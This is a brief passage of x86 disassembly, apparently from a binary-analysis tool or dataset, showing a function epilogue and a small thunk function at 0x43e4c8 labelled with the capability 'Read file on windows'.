mov esp, ebp
pop ebp
ret

Function at 0x43e4c8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043e347